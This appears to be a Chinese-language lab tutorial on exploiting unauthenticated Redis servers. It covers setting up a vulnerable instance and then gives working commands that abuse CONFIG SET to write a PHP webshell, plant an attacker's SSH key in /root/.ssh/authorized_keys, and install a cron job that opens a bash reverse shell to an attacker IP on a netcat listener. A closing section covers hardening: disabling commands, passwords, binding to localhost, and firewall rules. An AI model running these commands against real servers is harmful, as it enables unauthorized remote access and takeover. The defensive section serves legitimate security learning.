1、下载安装redis
wgethttp://download.redis.io/releases/redis-3.2.11.tar.gz
2、 解压压缩包
tarzxvfredis-3.2.11.tar.gz。
3、进入解压目录redis-3.2.11 执行make命令
4、 进入src目录 cd redis-3.2.11/src
5、将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下:
使用/etc/目录下的reids.conf文件中的配置启动redis服务:
6、编辑etc中的redis配置文件redis.conf
去掉ip绑定,允许除本地外的主机远程登录redis服务 前面加#注释掉
关闭保护模式,允许远程连接redis服务将yes 改为no
二、利用方式
测试目标靶机是否存在未授权访问,下面靶机存在未授权访问
1.远程连接redis
2.在靶机写入cs.php文件
我们将shell写入/home/ubuntus/cs目录下
save保存
3.在靶机查看,有cs.php文件,shell写入完成
如果写入网站服务的路径下,后续可以使用工具连接shell
这种方法适合非root权限,但需要对方有web服务。假设靶机里面存在WEB服务并且目录在 /var/www/ 中
config set dir /var/www/html
config set dbfilename webshell.php
set webshell "\n\n\n\n\n\n"
save
在靶机上查看,发现已经成功写入
蚂蚁剑连接
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key
1、首先在攻击机(kali)上生成ssh公钥
进入.ssh目录:cd.ssh/
2.将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)
(echo -e "/n/n";cat ~/.ssh/id_rsa.pub;echo -e "\n\n" ) > /tmp/text.txt
3.将key.txt写靶机(使用redis-cli -h ip命令连接靶机,写入文件)
cat /tmp/text.txt | /usr/redis/redis-cli -h 192.168.22.54 -p 6379 -x set crackit
4.远程登录靶机的Redis服务,redis-cli -h 192.168.70.140
5.更改redis备份路径为ssh公钥存放目录
6.设置上传公钥的备份文件名字为authorized_keys
save保存
/usr/redis/redis-cli -h 192.168.22.54 -p 6379
config set dir /root/.ssh/
config get dir
config set dbfilename "authorized_keys"
save
7.在攻击机上直接ssh免密登录靶机,免密登录成功
目标计为centos
在攻击机(kali)执行 nc -v -l -p 4445 监听
kali主机:192.168.22.34
连接目标主机:redis-cli -h 192.168.22.54
写入shell并保存
set xxx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.22.34/4445 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
客户端会收到目标机的反弹shell。
**在ubuntu测试计划任务写入成功但不执行
config set dir /var/spool/cron/ //配置文件夹的路径(CONFIG SET 命令可以动态地调整 Redis 服务器的配置而(configuration)而无须重启。)//每个用户生成的crontab文件,都会放在 /var/spool/cron/ 目录下面
set xxx “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.70.140/9999 0>&1\n\n”
//直接往当前用户的crontab里写入反弹shell,换行也是必须的
1.禁止一些高危命令
2.以低权限运行 Redis 服务
3.禁止外网访问 Redis
禁止一些高危命令(重启redis才能生效)
修改 redis.conf 文件,禁用远程修改 DB 文件地址
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
或者通过修改redis.conf文件,改变这些高危命令的名称
rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3"
以低权限运行 Redis 服务(重启redis才能生效)
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
groupadd -r redis && useradd -r -g redis redis
为 Redis 添加密码验证(重启redis才能生效)
修改 redis.conf 文件,添加
requirepass mypassword
禁止外网访问 Redis(重启redis才能生效)
修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1
在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错
修改默认端口
修改配置文件redis.conf文件
Port 6379
默认端口是6379,可以改变成其他端口(不要冲突就好)
保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。
将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:
chattr +i ~/.ssh
设置防火墙策略
// accept
# iptables -A INPUT -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
# iptables -A INPUT -p udp -s 127.0.0.1 --dport 6379 -j ACCEPT
// drop
# iptables -I INPUT -p tcp --dport 6379 -j DROP
# iptables -I INPUT -p udp --dport 6379 -j DROP
// 保存规则并重启 iptables
# service iptables save
# service iptables restart